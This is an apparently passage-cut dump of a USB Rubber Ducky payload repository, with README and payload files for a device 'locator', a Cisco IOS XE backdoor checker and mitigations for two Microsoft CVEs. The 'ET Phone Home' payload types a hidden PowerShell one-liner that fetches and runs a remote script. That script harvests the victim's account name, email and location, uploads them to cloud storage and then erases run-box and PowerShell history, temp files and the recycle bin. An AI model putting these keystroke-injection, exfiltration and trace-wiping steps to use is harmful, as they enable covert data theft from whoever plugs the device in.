(Get-PSreadlineOption).HistorySavePath\n\n# Deletes contents of recycle bin\n\nClear-RecycleBin -Force -ErrorAction SilentlyContinue\n"
  },
  {
    "path": "payloads/library/incident_response/-RD-ET-Phone-Home/README.md",
    "content": "![Logo](https://github.com/I-Am-Jakoby/hak5-submissions/blob/main/Assets/logo-170-px.png?raw=true)\n\n<!-- TABLE OF CONTENTS -->\n<details>\n  <summary>Table of Contents</summary>\n  <ol>\n    <li><a href=\"#Description\">Description</a></li>\n    <li><a href=\"#getting-started\">Getting Started</a></li>\n    <li><a href=\"#Contributing\">Contributing</a></li>\n    <li><a href=\"#Version-History\">Version History</a></li>\n    <li><a href=\"#Contact\">Contact</a></li>\n    <li><a href=\"#Acknowledgments\">Acknowledgments</a></li>\n  </ol>\n</details>\n\n# ET Phone Home\n\nA script I put together to locate your stolen devices, or your \"stolen\" baited devices\n\n## Description\n\nThis program is meant to locate your devices. When someone plugs it into their computer a one liner in the run box a script \nwill be downloaded and executed that grabs the Name and email of the associated microsoft account and the \nlatitude and longitude of where the device was activated. This information is stored in a text document that is then uploaded to your dropbox. \nFinally the end of the script will delete the runbox and powershell history and delete the files in the TMP Folder and Recycle Bin. \n\n## Getting Started\n\n### Dependencies\n\n* DropBox - Your Shared link for the intended file\n* Windows 7,10,11\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n### Executing program\n\n* Your device is plugged into the targets computer\n* Invoke-WebRequest will be entered in the Run Box to download and execute the script from memory \n```\npowershell -w h -NoP -NonI -Exec Bypass $pl = iwr https:// < Your Shared link for the intended file> ?dl=1; invoke-expression $pl\n```\nSomething Like What you see below will be in your cloud storage:\n\nNAME\n\nEMAIL \n\nLATITUDE AND LONGITUDE\n\n```\nJakoby\n\njakoby@example.com\n\n Latitude  Longitude\n --------  ---------\n37.778919 -122.416313\n```\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Contributing\n\nAll contributors names will be listed here\n\nI am Jakoby\n\nKalani\n\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Version History\n\n* 0.1\n    * Initial Release\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- CONTACT -->\n## Contact\n\n<div><h2>I am Jakoby</h2></div>\n  <p><br/>\n  \n  <img src=\"https://media.giphy.com/media/VgCDAzcKvsR6OM0uWg/giphy.gif\" width=\"50\"> \n  \n  <a href=\"https://github.com/I-Am-Jakoby/\">\n    <img src=\"https://img.shields.io/badge/GitHub-I--Am--Jakoby-blue\">\n  </a>\n  \n  <a href=\"https://www.instagram.com/i_am_jakoby/\">\n    <img src=\"https://img.shields.io/badge/Instagram-i__am__jakoby-red\">\n  </a>\n  \n  <a href=\"https://twitter.com/I_Am_Jakoby/\">\n    <img src=\"https://img.shields.io/badge/Twitter-I__Am__Jakoby-blue\">\n  </a>\n  \n  <a href=\"https://www.youtube.com/c/IamJakoby/\">\n    <img src=\"https://img.shields.io/badge/YouTube-I_am_Jakoby-red\">\n  </a>\n\n  Project Link: [https://github.com/I-Am-Jakoby/hak5-submissions/tree/main/RubberDucky/Payloads/RD-ET-Phone-Home)\n</p>\n\n\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- ACKNOWLEDGMENTS -->\n## Acknowledgments\n\n* [Hak5](https://hak5.org/)\n* [MG](https://github.com/OMG-MG)\n\n\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n"
  },
  {
    "path": "payloads/library/incident_response/-RD-ET-Phone-Home/payload.txt",
    "content": "REM         Title: ET-Phone-Home\n\nREM         Author: I am Jakoby\n\nREM         Target: Windows 10, 11\n\nREM         Description: this script will download and execute your locator script if your wifi access point is not detected\n            REM this script needs to be saved in the boot directory to have it run as soon as your device is plugged in\n            \nREM         Remeber to replace the link with your link for the intended file to download if you are using a custom variant of this payload\nREM         Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properly           \n\nREM         Replace SSID with name of wifi your computer is connected to\n\n\nGUI r\nDELAY 500\nSTRING powershell -w h -NoP -NonI -Exec Bypass $pl = iwr https:// < Your Shared link for the intended file> ?dl=1; invoke-expression $pl\nENTER\n\n\n"
  },
  {
    "path": "payloads/library/incident_response/Auto-Check_Cisco_IOS_XE_Backdoor_based_on_CVE-2023-20198_and_CVE-2023-20273/README.md",
    "content": "# Auto-Check Cisco IOS XE Backdoor based on CVE-2023-20198 and CVE-2023-20273\n\nUse this script to set up an automated integrity verification system for your Cisco IOS XE machine in relation to the attack that could create a backdoor on Cisco IOS XE systems vulnerable to CVE-2023-20198 and CVE-2023-20273.\n\n**Category**: incident-response\n\n![](/assets/1.png)\n\n## Index\n\n- [Auto-Check Cisco IOS XE Backdoor based on CVE-2023-20198 and CVE-2023-20273](#auto-check-cisco-ios-xe-backdoor-based-on-cve-2023-20198-and-cve-2023-20273)\n\t- [Payload Description](#payload-description)\n\t- [Settings](#settings)\n\t\t- [Regex](#regex)\n\t\t- [Conseguence](#conseguence)\n\t\t- [Administrator Permissions](#administrator-permissions)\n\t- [Sources](#sources)\n\t- [Credits](#credits)\n\n## Payload Description\n\nThis script can be used to set up a Shell script that allows users of Cisco IOS XE-based systems to periodically check for potential attacks using the recent 0-day vulnerabilities CVE-2023-20198 and CVE-2023-20273.\n\nAs of now, patches for these vulnerabilities have not been developed or made available to users. According to analyses conducted by the Fox-IT[[4](#sources)] and VulnCheck[[5](#sources)] teams, it appears that several tens of thousands of devices have already been attacked using these two vulnerabilities.\n\n*Note: Patches for these issues were released over the weekend and are now available to customers via the Cisco software download. [[3](#sources)]*\n\nThe severity of these attacks has increased significantly in recent times as cybercriminals have improved their malware's ability to camouflage within the system. Consequently, detecting intrusions has become more challenging.\n\nIn response to this, Cisco has released a basic method for users to assess their system's integrity. This involves running a curl command with specific parameters from a Shell on which the Cisco IOS XE system is installed. If the response includes a hexadecimal string (e.g., 0123456789abcdef01), it implies that the machine may have been compromised through the mentioned vulnerabilities.\n\nAn immediate solution to the problem is to reboot the system, which would close the backdoor. However, this doesn't mitigate the vulnerabilities in the long term, as the machine remains just as susceptible after the reboot and also why the attacker's super user is not removed. This means that rebooting the system is an immediate measure to block the threat but doesn't provide a lasting mitigation of the threat.\n\nThe payload.txt file contains DuckyScript code that enables you to create a Shell script that periodically performs the Cisco-suggested verification to determine if the machine has been attacked. The script defines three variables: the script name, the superuser (sudo) password, and the file path. The only variable that must be modified is the sudo password because it varies from user to user. The other two variables can be changed but aren't strictly necessary for the payload's functionality. They represent the desired script name and the default path (the current folder).\n\nTo minimize downtime, the Hak5 Detect Ready extension has been used. When the Shell is opened, the payload executes a series of commands that involve writing the contents of a file, allowing the creation of a script on the machine that will be automatically executed by the operating system.\n\nOnce the file is created, it's automatically saved at the end of the execution, and the payload proceeds to enable execution permissions using the permissions granted by the sudo+chmod command.\n\n---\n\nTo maintain code readability, I chose to keep a less efficient but more straightforward version as follows:\n\n```\nREM Old script\nREM STRINGLN sudo chmod +x #SCRIPT-NAME\nREM DELAY 500\nREM STRINGLN #SUDO-PSWD\nREM DELAY 3000\nREM STRINGLN sh #PATH-TO-SCRIPT#SCRIPT-NAME $\nREM STRINGLN exit\n```\n\nThis coding style is not optimized since the `DELAY 3000` can vary significantly from one machine to another, making it inherently imprecise.\n\nIn order to optimize this code, I prefer the following version, which eliminates the previous waiting and includes only a short delay before entering the sudo password:\n\n```\nREM Optimized script\nSTRINGLN sudo chmod +x #SCRIPT-NAME; sh #PATH-TO-SCRIPT#SCRIPT-NAME $; exit\nDELAY 500\nSTRINGLN #SUDO-PSWD\n```\n\nThis command concatenates the assignment of execution permissions to the script and proceeds to set up the script for automatic execution every 5 minutes. The Shell is then closed after this operation.\n\nAs for the payload of the `curl` command, it has been copied and pasted from the official Cisco source [1].\n\n## Settings\n\nThis payload is designed to operate without requiring the installation of third-party software and focuses on performing operations as quickly as possible, as time is a critical factor, as described in the [Consequences](#conseguence) section. The script operates in cycles, with one iteration every 300 seconds, but it is easily adaptable: simply modify the value `sleep 300 # wait time` in the `payload.txt` file to suit your preferences. However, it's important to note that completely removing this entry could generate a high volume of cURL requests, potentially causing issues.\n\nIt's crucial to keep in mind that system reboot doesn't fully resolve the problem. Even if the malware is removed, the high-privilege account created by attackers persists even after system reboot.\n\n### Regex\n\nThe verification through the execution of the `curl` command involves examining the response of a POST request. If a hexadecimal string is detected within this response, it suggests that the machine may have been compromised using the vulnerabilities in question.\n\nTo ensure that the response indeed contains a hexadecimal string, you can use the regular expression (regex) `^[0-9a-zA-Z]+$`. This regex checks for the following criteria:\n\n- `^` The string must start with...\n- `[0-9A-Z-a-z]` ... a character that can be a digit from 0 to 9, an uppercase letter from A to Z, or a lowercase letter from a to z;\n- `+` There must be at least one of the characters specified within the square brackets...\n- `$` ... and the string must end with one of these characters.\n\nOnly if the response from the \"curl\" command contains characters other than hexadecimal ones or no characters at all, the regex will not find any matches, indicating that the machine under scrutiny has not been attacked up to that point.\n\n### Conseguence\n\nWhen an attack is detected, various actions can be taken. However, it's crucial to keep in mind that the more complex the programmed actions are, the longer the backdoor remains open.\n\nIt's important to note that the script, by default, has an approximately 5-minute check interval (300 seconds by default) during which no checks occur. Consequently, the accumulation of time required for various operations following the detection of an attack can increase the exposure time. Therefore, it's essential to carefully consider the actions to implement because adding complexity could negatively impact overall security.\n\nIn this scenario, sending a notification at the time of attack detection is suggested. You can customize the code to send an email or create a historical log file containing relevant information. However, it's essential to understand that the only way to definitively close the backdoor is by restarting the system. It's worth noting that a forced restart can carry risks, such as data loss or, in this specific case, the interruption of active connections. The decision to terminate a connection to close the backdoor or keep it open depends on the trade-off between security and operational continuity.\n\nIn conclusion, two key factors to consider are response times and the potential risk of data loss. As in any security analysis, the optimal solution depends on what you want to protect and the risks you are willing to accept.\n\n### Administrator Permissions\n\nAdministrator privileges are not required to execute the script itself, but they are necessary to ensure that the file containing the script has the required permissions for execution. This type of permission granting is done using the command-line tool `chmod`, which is used to assign specific permissions to the script.\n\nIn this specific case, we are using the `-x` parameter, which signifies the execution permission for the script.\n\n## Sources\n\n- [1] Cisco comunication: https://blog.talosintelligence.com/active-exploitation-of-cisco-ios-xe-software/\n- [2] Red Hot Cyber post: https://www.redhotcyber.com/post/37-000-dispositivi-cisco-contengono-backdoor-attenzione-in-quanto-il-malware-ora-risulta-piu-difficile-da-rilevare/\n- [3] Patch: https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z\n- [4] Fox-IT comunication: https://twitter.com/foxit/status/1716472673876730149\n- [5] VulnCheck comunication: https://twitter.com/VulnCheckAI/status/1716541908489543725\n\n\n--- \n\n## Credits\n\n<h2 align=\"center\"> Aleff</h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>"
  },
  {
    "path": "payloads/library/incident_response/Auto-Check_Cisco_IOS_XE_Backdoor_based_on_CVE-2023-20198_and_CVE-2023-20273/payload.txt",
    "content": "REM #############################################################################################\nREM #                                                                                           #\nREM # Title     : Auto-Check Cisco IOS XE Backdoor based on CVE-2023-20198 and CVE-2023-20273   #\nREM # Author\t: Aleff                                                                         #\nREM # Version\t: 1.0                                                                           #\nREM # Category\t: incident-response                                                             #\nREM # Target\t: Cisco IOS XE                                                                  #\nREM #                                                                                           #\nREM #############################################################################################\n\n\nREM Set the script name, the default name is auto-check.sh but you can change it here since is used the DuckyScript variable #SCRIPT-NAME.\nDEFINE #SCRIPT-NAME auto-check.sh\n\nREM Here you must set your sudo password that permit to give the executable permissions to the file\nDEFINE #SUDO-PSWD example\n\nREM Here you chould define the script path, if you don't change it is selected the default path, so the home path. If, for istance, you have a specific path where you put some stuff like this you can edit thi DuckyScript variable with the correct path\nDEFINE #PATH-TO-SCRIPT ./\n\nEXTENSION DETECT_READY\n    REM VERSION 1.1\n    REM AUTHOR: Korben\n\n    REM_BLOCK DOCUMENTATION\n        USAGE:\n            Extension runs inline (here)\n            Place at beginning of payload (besides ATTACKMODE) to act as dynamic\n            boot delay\n\n        TARGETS:\n            Any system that reflects CAPSLOCK will detect minimum required delay\n            Any system that does not reflect CAPSLOCK will hit the max delay of 3000ms\n    END_REM\n\n    REM CONFIGURATION:\n    DEFINE #RESPONSE_DELAY 25\n    DEFINE #ITERATION_LIMIT 120\n\n    VAR $C = 0\n    WHILE (($_CAPSLOCK_ON == FALSE) && ($C < #ITERATION_LIMIT))\n        CAPSLOCK\n        DELAY #RESPONSE_DELAY\n        $C = ($C + 1)\n    END_WHILE\n    CAPSLOCK\nEND_EXTENSION\n\nCTRL-ALT t\nDELAY 1000\n\nSTRINGLN\n\techo 'while true; do\n\t\tresponse=$(curl -k -H \"Authorization: 0ff4fbf0ecffa77ce8d3852a29263e263838e9bb\" -X POST https://systemip/webui/logoutconfirm.html?logon_hash=1)\n\t\t\n\t\tif [[ $response =~ ^[0-9a-zA-Z]+$ ]]; then\n\t\t\tif [ $? -eq 0]; then\n\t\t\t\t# Attack detected, here you decide what to do in this moment\n\t\t\t\t# 1. Send an email to sec-team\n\t\t\t\t# 2. Do some other ops\n\t\t\t\t# ...\n\t\t\t\t# 3. What do you want to do?\n                #    Can you reboot the system or you need to do something else before?\n                #    Do you want to close it?\n\t\t\t\t# ...\n\n\t\t\t\t# The only one way to close the backdoor is reboot the system, so don t change it (?)...\n                # |-> See the Conseguence section in README\n\t\t\t\treboot\n\t\t\telse\n\t\t\t\t# You are safe :-)\n\t\t\tfi\n\t\tfi\n        sleep 300 # wait time\n\tdone' > #PATH-TO-SCRIPT#SCRIPT-NAME\nEND_STRINGLN\n\n\n\nREM To avoid some bad DELAY I decided to use only one command row\n\nREM Old script\nREM STRINGLN sudo chmod +x #SCRIPT-NAME\nREM DELAY 500\nREM STRINGLN #SUDO-PSWD\nREM DELAY 3000\nREM STRINGLN sh #PATH-TO-SCRIPT#SCRIPT-NAME $\nREM STRINGLN exit\n\nREM Optimized script\nSTRINGLN sudo chmod +x #SCRIPT-NAME; sh #PATH-TO-SCRIPT#SCRIPT-NAME $; exit\nDELAY 500\nSTRINGLN #SUDO-PSWD\n\n"
  },
  {
    "path": "payloads/library/incident_response/Auto-Check_Cisco_IOS_XE_Backdoor_based_on_CVE-2023-20198_and_CVE-2023-20273/script.sh",
    "content": "#!/bin/bash\n\nwhile true; do\n\tresponse=$(curl -k -H \"Authorization: 0ff4fbf0ecffa77ce8d3852a29263e263838e9bb\" -X POST https://systemip/webui/logoutconfirm.html?logon_hash=1)\n\t\n\tif [[ $response =~ ^[0-9a-zA-Z]+$ ]]; then\n\t\tif [ $? -eq 0]; then\n\t\t\t# Attack detected, here you decide what to do in this moment\n\t\t\t# 1. Send an email to sec-team\n\t\t\t# TODO\n\t\t\t# 2. Do some other ops like save some log information somewhere or save before stop the process\n\t\t\t# ...\n\t\t\t# 3. What do you want to do?\n\t\t\t#    Can you reboot the system or you need to do something else before?\n\t\t\t#    Do you want to close it?\n\t\t\t# ...\n\t\t\t\n\t\t\t# The only one way to close the backdoor is reboot the system, so don t change it (?)...\n\t\t\t# |-> See the Conseguence section in README\n\t\t\treboot\n\t\telse\n\t\t\t# You are safe :-)\n\t\tfi\n\tfi\n\tsleep 300 # wait time\ndone\n"
  },
  {
    "path": "payloads/library/incident_response/Defend_yourself_against_CVE-2023-36884_Office_and_Windows_HTML_R/README.md",
    "content": "# Defend yourself against CVE-2023-36884 Office and Windows HTML Remote Code Execution Vulnerability\n\nThis script allows you to set the Register Key block rule that will allow you to defend against CVE-2023-36884.\n\n**Category**: Incident Response\n\n## Table of Contents\n\n- [Payload Description](#payload-description)\n- [CVE-2023-36884 Description](#cve-2023-36884-description)\n  - [Summary](#summary)\n  - [Note](#note)\n  - [Dependencies](#dependencies)\n- [Settings](#settings)\n  - [Administrative Privileges](#administrative-privileges)\n  - [Set the rule](#set-the-rule)\n  - [See the new rule](#see-the-new-rule)\n  - [Remove the rule](#remove-the-rule)\n- [Credits](#credits)\n\n## Payload Description\n\nThis script allows you to set the Register Key block rule that will allow you to defend against CVE-2023-36884.\n\nOpen a PowerShell, set the Register Key block rule trough the [command line interface](https://learn.microsoft.com/en-us/powershell/scripting/samples/working-with-registry-keys?view=powershell-7.3).\n\n\n![](docs/2.png)\n\n## CVE-2023-36884 Description\n\n### Summary \n\nMicrosoft is investigating reports of a series of remote code execution vulnerabilities impacting Windows and Office products. Microsoft is aware of targeted attacks that attempt to exploit these vulnerabilities by using specially-crafted Microsoft Office documents.\n\nAn attacker could create a specially crafted Microsoft Office document that enables them to perform remote code execution in the context of the victim. However, an attacker would have to convince the victim to open the malicious file.\n\nUpon completion of this investigation, Microsoft will take the appropriate action to help protect our customers. This might include providing a security update through our monthly release process or providing an out-of-cycle security update, depending on customer needs.\n\nPlease see the Microsoft Threat Intelligence [Blog Entry](https://www.microsoft.com/en-us/security/blog/2023/07/11/storm-0978-attacks-reveal-financial-and-espionage-motives/) for important information about steps you can take to protect your system from this vulnerability.\n\nThis CVE will be updated with new information and links to security updates when they become available. If you wish to be notified when these updates are released, we recommend that you register for the security notifications mailer to be alerted of content changes to this CVE. See [Microsoft Technical Security Notifications](https://www.microsoft.com/en-us/msrc/technical-security-notifications?rtc=1) and [Security Update Guide Notification System News: Create your profile now – Microsoft Security Response Center](https://msrc.microsoft.com/blog/2022/08/security-update-guide-notification-system-news-create-your-profile-now/).\n\nSource: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36884\n\n### Note\n\nTested on:\n- Windows 11 Eng\n\n### Dependencies\n\n* ExecutionPolicy Bypass\n\n## Settings\n\nIn this payload, I created a new registry key called \"FEATURE_BLOCK_CROSS_PROTOCOL_FILE_NAVIGATION.\" All of the following application names are then added as a value of type REG_DWORD with data 1.\n\n- Excel.exe\n- Graph.exe\n- MSAccess.exe\n- MSPub.exe\n- Powerpnt.exe\n- Visio.exe\n- WinProj.exe\n- WinWord.exe\n- Wordpad.exe\n\nRemember that you must run PowerShell with administrative privileges to create and manage registry keys.\n\n### Administrative Privileges\n\n- I used the Payload [Starting a PowerShell with administrator permissions in Windows 10/11](https://github.com/hak5/usbrubberducky-payloads/tree/master/payloads/library/execution/Starting_a_PowerShell_with_administrator_permissions_in_Windows) by Hak5 Payloads\n\n```\nDELAY 1000\nGUI x\nDELAY 500\nSTRING a\nDELAY 500\nLEFT_ARROW\nDELAY 500\nENTER\n```\n\n### Set the rule\n\n![](docs/1.png)\n\n### See the new rule\n\n![](docs/2.png)\n\n### Remove the rule\n\n![](docs/3.png)\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>"
  },
  {
    "path": "payloads/library/incident_response/Defend_yourself_against_CVE-2023-36884_Office_and_Windows_HTML_R/payload.txt",
    "content": "REM #######################################################################################################################\nREM #                                                                                                                     |\nREM # Title        : Defend yourself against CVE-2023-36884 Office and Windows HTML Remote Code Execution Vulnerability   |\nREM # Author       : Aleff                                                                                                |\nREM # Version      : 1.0                                                                                                  |\nREM # Category     : Incident Response                                                                                    |\nREM # Target       : Windows 10/11                                                                                        |\nREM #                                                                                                                     |\nREM #######################################################################################################################\n\nREM PlugAndPlay <3\n\nREM Requirements:\nREM     - ExecutionPolicy Bypass\n\nREM Impact: Remote Code Execution\nREM Max Severity: Important\n\nREM Mitigation:\n\nREM     - Customers who use Microsoft Defender for Office are protected from attachments that attempt to exploit this vulnerability.\n\nREM     - The registry key FEATURE_BLOCK_CROSS_PROTOCOL_FILE_NAVIGATION is located in the Main folder under the Internet Explorer settings, within the path HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Internet Explorer\\FeatureControl. This registry key is used to mitigate the vulnerability known as \"Office and Windows HTML Remote Code Execution Vulnerability\" (CVE-2023-36884).\n\nREM The CVE-2023-36884 vulnerability allows remote code execution through the processing of HTML files by Office and Windows applications. Creating this registry key and adding specific application values, such as REG_DWORD with data 1, helps block cross-protocol file navigation to mitigate the exploitation of this vulnerability.\n\nREM It is recommended to implement these protective measures to prevent potential attacks that could exploit the vulnerability and compromise the security of Office and Windows systems. It is important to understand the implications of modifying the registry and carefully evaluate the impact on the regular functionality of the involved applications.\n\nREM Source: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36884\n\nDELAY 1000\nGUI x\nDELAY 500\nSTRING a\nDELAY 500\nLEFTARROW\nDELAY 500\nENTER\n\nREM Sets the path to the registry key\nSTRINGLN $registryPath = \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Internet Explorer\\Main\\FeatureControl\\FEATURE_BLOCK_CROSS_PROTOCOL_FILE_NAVIGATION\"\n\nREM Array of application names\nSTRINGLN \n    $applicationNames = @(\n        \"Excel.exe\",\n        \"Graph.exe\",\n        \"MSAccess.exe\",\n        \"MSPub.exe\",\n        \"Powerpnt.exe\",\n        \"Visio.exe\",\n        \"WinProj.exe\",\n        \"WinWord.exe\",\n        \"Wordpad.exe\"\n    )\nEND_STRINGLN\n\nREM Create the registry key if it does not already exist\nSTRINGLN \n    if (!(Test-Path $registryPath)) {\n        New-Item -Path $registryPath -Force | Out-Null\n        echo \"Registry key created\"\n    }\nEND_STRINGLN\n\nREM Add the values to the registry key\nSTRINGLN\n    foreach ($appName in $applicationNames) {\n        Set-ItemProperty -Path $registryPath -Name $appName -Value 1 -Type DWORD -Force | Out-Null\n        echo \"[+] $appName\"\n    }\nEND_STRINGLN\n"
  },
  {
    "path": "payloads/library/incident_response/Defend_yourself_from_CVE-2023-23397/README.md",
    "content": "# Defend Yourself From CVE-2023-23397\n\nThis script allows you to set the Firewall rule that will allow you to defend against CVE-2023-23397.\n\n**Category**: Incident-Response\n\n*I decided to set Credentials as the category because of the type of CVE.*\n\n## Index\n\n- [Defend Yourself From CVE-2023-23397](#defend-yourself-from-cve-2023-23397)\n  - [Payload Description](#payload-description)\n  - [CVE-2023-23397 Description](#cve-2023-23397-description)\n    - [Summary](#summary)\n    - [Impacted Products](#impacted-products)\n    - [Technical Details](#technical-details)\n  - [Note](#note)\n  - [Dependencies](#dependencies)\n  - [Settings](#settings)\n    - [Administrative Privileges](#administrative-privileges)\n    - [Set the rule](#set-the-rule)\n    - [See the new rule](#see-the-new-rule)\n    - [Remove the rule](#remove-the-rule)\n  - [Credits](#credits)\n\n## Payload Description\n\nThis script allows you to set the Firewall rule that will allow you to defend against CVE-2023-23397.\n\nOpen a PowerShell, set the Firewall rule trough NetSecurity module.\n\n![](docs/2.png)\n\n## CVE-2023-23397 Description\n\n### Summary \n\nMicrosoft Threat Intelligence discovered limited, targeted abuse of a vulnerability in Microsoft Outlook for Windows that allows for new technology LAN manager (NTLM) credential theft to an untrusted network, such as the Internet. Microsoft has released CVE-2023-23397 to address the critical elevation of privilege (EoP) vulnerability affecting Microsoft Outlook for Windows. We strongly recommend all customers update Microsoft Outlook for Windows to remain secure.\n\n### Impacted Products\n\nAll supported versions of Microsoft Outlook for Windows are affected. Other versions of Microsoft Outlook such as Android, iOS, Mac, as well as Outlook on the web and other M365 services are not affected.\n\n### Technical Details\n\nCVE-2023-23397 is a critical EoP vulnerability in Microsoft Outlook that is triggered when an attacker sends a message with an extended MAPI property with a UNC path to an SMB (TCP 445) share on a threat actor-controlled server on an untrusted network. No user interaction is required.\n\nThe threat actor is using a connection to the remote SMB server sends the user’s NTLM negotiation message, which the attacker can then relay for authentication against other systems that support NTLM authentication.\n\n**Source**: https://msrc.microsoft.com/blog/2023/03/microsoft-mitigates-outlook-elevation-of-privilege-vulnerability/\n\n## Note\n\nTested on:\n- Windows 11 Eng\n\n## Dependencies\n\n* ExecutionPolicy Bypass\n* PayloadStudio 1.3.1\n\n## Settings\n\nIn this payload, I created a new firewall rule called \"CVE-2023-23397\". The direction is set to \"Outbound,\" the action is \"Block\" (block traffic), the protocol is \"TCP,\" and the remote port is 445 (SMB). Next, the rule is enabled using the Enable-NetFirewallRule cmdlet by specifying the name of the previously created rule.\n\nRemember that you must run PowerShell with administrative privileges to create and manage firewall rules.\n\n### Administrative Privileges\n\n- I used the Payload [Starting a PowerShell with administrator permissions in Windows 10/11](https://github.com/hak5/usbrubberducky-payloads/tree/master/payloads/library/execution/Starting_a_PowerShell_with_administrator_permissions_in_Windows) by Hak5 Payloads\n\n```\nDELAY 1000\nGUI x\nDELAY 500\nSTRING a\nDELAY 500\nLEFT_ARROW\nDELAY 500\nENTER\n```\n\n### Set the rule\n\n![](docs/1.png)\n\n### See the new rule\n\n![](docs/2.png)\n\n### Remove the rule\n\n![](docs/3.png)\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>"
  },
  {
    "path": "payloads/library/incident_response/Defend_yourself_from_CVE-2023-23397/payload.txt",
    "content": "REM ########################################################\nREM #                                                      |\nREM # Title        : Defend Yourself From CVE-2023-23397   |\nREM # Author       : Aleff                                 |\nREM # Version      : 1.0                                   |\nREM # Category     : Incident-Response                     |\nREM # Target       : Windows 10/11                         |\nREM #                                                      |\nREM ########################################################\n\nREM PlugAndPlay <3\n\nREM Requirements:\nREM     - ExecutionPolicy Bypass\nREM     - PayloadStudio 1.3.1\n\nREM Impacted Products:\nREM     - All supported versions of Microsoft Outlook for Windows are affected. Other versions of Microsoft Outlook such as Android, iOS, Mac, as well as Outlook on the web and other M365 services are not affected.\n\nREM Mitigation:\nREM     - Block TCP 445/SMB outbound from your network by using a perimeter firewall, a local firewall, and via your VPN settings. This will prevent the sending of NTLM authentication messages to remote file shares.\nREM       Source: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-23397\n\nEXTENSION PASSIVE_WINDOWS_DETECT\n    REM VERSION 1.1\n    REM AUTHOR: Korben\n\n    REM_BLOCK DOCUMENTATION\n        Windows fully passive OS Detection and passive Detect Ready\n        Includes its own passive detect ready.\n        Does not require additional extensions.\n\n        USAGE:\n            Extension runs inline (here)\n            Place at beginning of payload (besides ATTACKMODE) to act as dynamic\n            boot delay\n            $_OS will be set to WINDOWS or NOT_WINDOWS\n            See end of payload for usage within payload\n    END_REM\n\n    REM CONFIGURATION:\n    DEFINE #MAX_WAIT 150\n    DEFINE #CHECK_INTERVAL 20\n    DEFINE #WINDOWS_HOST_REQUEST_COUNT 2\n    DEFINE #NOT_WINDOWS 7\n\n    $_OS = #NOT_WINDOWS\n\n    VAR $MAX_TRIES = #MAX_WAIT\n    WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))\n        DELAY #CHECK_INTERVAL\n        $MAX_TRIES = ($MAX_TRIES - 1)\n    END_WHILE\n    IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN\n        $_OS = WINDOWS\n    END_IF\n\n    REM_BLOCK EXAMPLE USAGE AFTER EXTENSION\n        IF ($_OS == WINDOWS) THEN\n            STRING HELLO WINDOWS!\n        ELSE\n            STRING HELLO WORLD!\n        END_IF\n    END_REM\nEND_EXTENSION\n\nGUI x\nDELAY 500\nSTRING a\nDELAY 500\nLEFTARROW\nDELAY 500\nENTER\n\nREM Import NetSecurity module\nSTRINGLN Import-Module NetSecurity\n\nREM Create a new firewall rule for blocking outgoing connections on port 445\nSTRINGLN\n    $rule = New-NetFirewallRule -DisplayName \"CVE-2023-23397\" `\n        -Direction Outbound `\n        -Action Block `\n        -Protocol TCP `\n        -RemotePort 445\nEND_STRINGLN\n\nREM Enable firewall rule\nSTRINGLN Enable-NetFirewallRule -Name $rule.Name\nDELAY 500\n\nREM See your new rule\nSTRINGLN Get-NetFirewallRule | Where-Object { $_.DisplayName -eq \"CVE-2023-23397\" }\n"
  },
  {
    "path": "payloads/library/incident_response/Exploit_Citrix_NetScaler_ADC_and_Gateway_through_CVE-2023-4966/README.md",
